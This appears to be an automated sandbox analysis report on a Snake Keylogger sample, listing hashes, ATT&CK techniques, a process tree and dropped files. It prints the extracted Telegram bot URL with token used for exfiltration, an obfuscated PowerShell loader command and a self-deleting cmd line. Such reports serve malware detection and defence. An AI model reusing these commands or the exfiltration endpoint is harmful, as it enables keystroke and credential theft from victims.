snakekeylogger | 5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1

Analysis

max time kernel
95s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-12-2024 06:21

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General

Target

5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe
Size

1000KB
MD5

d91a875cc245f3f2ba13a97c427d5880
SHA1

39129185ab93c2ba972797c76434a59f950f4428
SHA256

5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1
SHA512

2a5dc3ee1c4c77248e50661c81df007b3c08c95a9648a37cf1abe53a4dd64a10d90d0a9cf50222d65773718f9e0255426ad8bab2da8c8c76b6a3e7bdbbb7e43c
SSDEEP

24576:2NluSo4pxUzQcRhTfu4VI6vxoX9FRd/1zVg/X7VwP+jwqjXInHXUF/GmEZet2gk8:2NluSo4pxUzQcRhTfu4VI6vxoX9FRdNY

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7557806283:AAFiqTWzN-gLgC-2y3c1Dz5CtqTp-HN6TYc/sendMessage?chat_id=7451270736

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/1140-198-0x00000000004A0000-0x00000000004C0000-memory.dmp	family_snakekeylogger
behavioral2/memory/1140-196-0x00000000004A0000-0x00000000016F4000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Rhynchocephala.exe

Loads dropped DLL 1 IoCs

pid	Process
1140	Rhynchocephala.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	drive.google.com
23	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
35	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\mycetophilidae\Megalethoscope.ini	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1140	Rhynchocephala.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2708	powershell.exe
1140	Rhynchocephala.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\opstalt.ini	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\tekkkenerne.laa	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rhynchocephala.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000c000000023b7b-183.dat	nsis_installer_1
behavioral2/files/0x000c000000023b7b-183.dat	nsis_installer_2

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
1140	Rhynchocephala.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeIncreaseQuotaPrivilege	2708	powershell.exe
Token: SeSecurityPrivilege	2708	powershell.exe
Token: SeTakeOwnershipPrivilege	2708	powershell.exe
Token: SeLoadDriverPrivilege	2708	powershell.exe
Token: SeSystemProfilePrivilege	2708	powershell.exe
Token: SeSystemtimePrivilege	2708	powershell.exe
Token: SeProfSingleProcessPrivilege	2708	powershell.exe
Token: SeIncBasePriorityPrivilege	2708	powershell.exe
Token: SeCreatePagefilePrivilege	2708	powershell.exe
Token: SeBackupPrivilege	2708	powershell.exe
Token: SeRestorePrivilege	2708	powershell.exe
Token: SeShutdownPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeSystemEnvironmentPrivilege	2708	powershell.exe
Token: SeRemoteShutdownPrivilege	2708	powershell.exe
Token: SeUndockPrivilege	2708	powershell.exe
Token: SeManageVolumePrivilege	2708	powershell.exe
Token: 33	2708	powershell.exe
Token: 34	2708	powershell.exe
Token: 35	2708	powershell.exe
Token: 36	2708	powershell.exe
Token: SeDebugPrivilege	1140	Rhynchocephala.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2708	2416	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe	82
PID 2416 wrote to memory of 2708	2416	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe	82
PID 2416 wrote to memory of 2708	2416	5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe	82
PID 2708 wrote to memory of 1140	2708	powershell.exe	91
PID 2708 wrote to memory of 1140	2708	powershell.exe	91
PID 2708 wrote to memory of 1140	2708	powershell.exe	91
PID 2708 wrote to memory of 1140	2708	powershell.exe	91
PID 1140 wrote to memory of 3040	1140	Rhynchocephala.exe	92
PID 1140 wrote to memory of 3040	1140	Rhynchocephala.exe	92
PID 1140 wrote to memory of 3040	1140	Rhynchocephala.exe	92
PID 3040 wrote to memory of 4616	3040	cmd.exe	94
PID 3040 wrote to memory of 4616	3040	cmd.exe	94
PID 3040 wrote to memory of 4616	3040	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe
"C:\Users\Admin\AppData\Local\Temp\5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1N.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle 1 "$Sammis=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\gangrenescent\stiltedness\Tegnmaessig.Peb';$edaphodont=$Sammis.SubString(57021,3);.$edaphodont($Sammis)
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Users\Admin\AppData\Local\Temp\Rhynchocephala.exe
    "C:\Users\Admin\AppData\Local\Temp\Rhynchocephala.exe"
    3⤵
    - Checks computer location settings
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Rhynchocephala.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Program Files (x86)\opstalt.ini

Filesize
31B

MD5
81d8c2c8ad8f0fc0a7a2ab1adaab83dd

SHA1
9d039931626cf960391c728870c78477f3a05436

SHA256
bd9d5e85a1c13119bad506a2523c665d363465506e17aab92407d43eceb5d509

SHA512
cfef482bdd7b5a253ce68f61d5d69cb4fb96b8b8e5ff18355998aa8c9cda34f32431938a5bed76762ddc2b66413107976cd89ed82edfb40a06af2a9769d75f09

Download Submit
C:\Users\Admin\AppData\Local\Temp\Rhynchocephala.exe

Filesize
1000KB

MD5
d91a875cc245f3f2ba13a97c427d5880

SHA1
39129185ab93c2ba972797c76434a59f950f4428

SHA256
5b23cfc94f6d1f5ecc2f38f0094ba78cf1496889d2d0f20453fec8cdebe6c2f1

SHA512
2a5dc3ee1c4c77248e50661c81df007b3c08c95a9648a37cf1abe53a4dd64a10d90d0a9cf50222d65773718f9e0255426ad8bab2da8c8c76b6a3e7bdbbb7e43c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wxxfau1j.nup.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gangrenescent\stiltedness\Tegnmaessig.Peb

Filesize
55KB

MD5
dbf1218b52e9c36ac61fd9588182d410

SHA1
ca5b4f38b71cd9ca075b8c58d0841e56d8f49da8

SHA256
8bebca4215d24a6f6ec02c135f9076a39d95ba3ae7a7487897021028ca219a68

SHA512
fc50ae502ca65bed1884fd131bb89a7f5bb261079374101fe4d1d7ff1e03cffcf370c7cd7f096d65f92054164fbcc28d3e53e7f3b98c556f15fcd9f000f7e634

Download Submit
C:\Users\Admin\AppData\Local\Temp\gangrenescent\stiltedness\Undeemously.Mol

Filesize
210KB

MD5
5609a04c21f1f74196299475a805561a

SHA1
25d102b4fa08de2920ff5ee18db563721abf0c9d

SHA256
a35dedc926c79cc9efba82b4fde9f2067149f107d5343864c02828bdd9dade88

SHA512
ad1c9b3687e51b500cedc85f5c657ef94c8d372160e38ed516ccc44dd4697f6256dd5741a3dd04884d45ae573b46da2090ccc15db0478984b2711e937ba6e2b0

Download Submit
memory/1140-199-0x0000000021140000-0x00000000211DC000-memory.dmp

Filesize
624KB

Download
memory/1140-196-0x00000000004A0000-0x00000000016F4000-memory.dmp

Filesize
18.3MB

Download
memory/1140-198-0x00000000004A0000-0x00000000004C0000-memory.dmp

Filesize
128KB

Download
memory/2708-144-0x0000000006550000-0x000000000656E000-memory.dmp

Filesize
120KB

Download
memory/2708-167-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-133-0x0000000005EE0000-0x0000000005F46000-memory.dmp

Filesize
408KB

Download
memory/2708-145-0x00000000065E0000-0x000000000662C000-memory.dmp

Filesize
304KB

Download
memory/2708-146-0x0000000007510000-0x00000000075A6000-memory.dmp

Filesize
600KB

Download
memory/2708-147-0x0000000006A50000-0x0000000006A6A000-memory.dmp

Filesize
104KB

Download
memory/2708-148-0x0000000006AA0000-0x0000000006AC2000-memory.dmp

Filesize
136KB

Download
memory/2708-149-0x0000000007B60000-0x0000000008104000-memory.dmp

Filesize
5.6MB

Download
memory/2708-132-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/2708-151-0x0000000008790000-0x0000000008E0A000-memory.dmp

Filesize
6.5MB

Download
memory/2708-154-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-155-0x0000000070770000-0x0000000070AC4000-memory.dmp

Filesize
3.3MB

Download
memory/2708-165-0x0000000007960000-0x000000000797E000-memory.dmp

Filesize
120KB

Download
memory/2708-153-0x000000006FFF0000-0x000000007003C000-memory.dmp

Filesize
304KB

Download
memory/2708-152-0x0000000007980000-0x00000000079B2000-memory.dmp

Filesize
200KB

Download
memory/2708-166-0x00000000079D0000-0x0000000007A73000-memory.dmp

Filesize
652KB

Download
memory/2708-168-0x0000000007AF0000-0x0000000007AFA000-memory.dmp

Filesize
40KB

Download
memory/2708-136-0x0000000005F50000-0x00000000062A4000-memory.dmp

Filesize
3.3MB

Download
memory/2708-169-0x0000000008250000-0x000000000827A000-memory.dmp

Filesize
168KB

Download
memory/2708-170-0x0000000008280000-0x00000000082A4000-memory.dmp

Filesize
144KB

Download
memory/2708-171-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-173-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-131-0x0000000005590000-0x00000000055B2000-memory.dmp

Filesize
136KB

Download
memory/2708-175-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-176-0x0000000073B6E000-0x0000000073B6F000-memory.dmp

Filesize
4KB

Download
memory/2708-177-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-178-0x0000000008E10000-0x000000000C412000-memory.dmp

Filesize
54.0MB

Download
memory/2708-179-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-180-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-182-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-130-0x0000000005610000-0x0000000005C38000-memory.dmp

Filesize
6.2MB

Download
memory/2708-129-0x0000000073B60000-0x0000000074310000-memory.dmp

Filesize
7.7MB

Download
memory/2708-128-0x0000000004F60000-0x0000000004F96000-memory.dmp

Filesize
216KB

Download
memory/2708-127-0x0000000073B6E000-0x0000000073B6F000-memory.dmp

Filesize
4KB

Download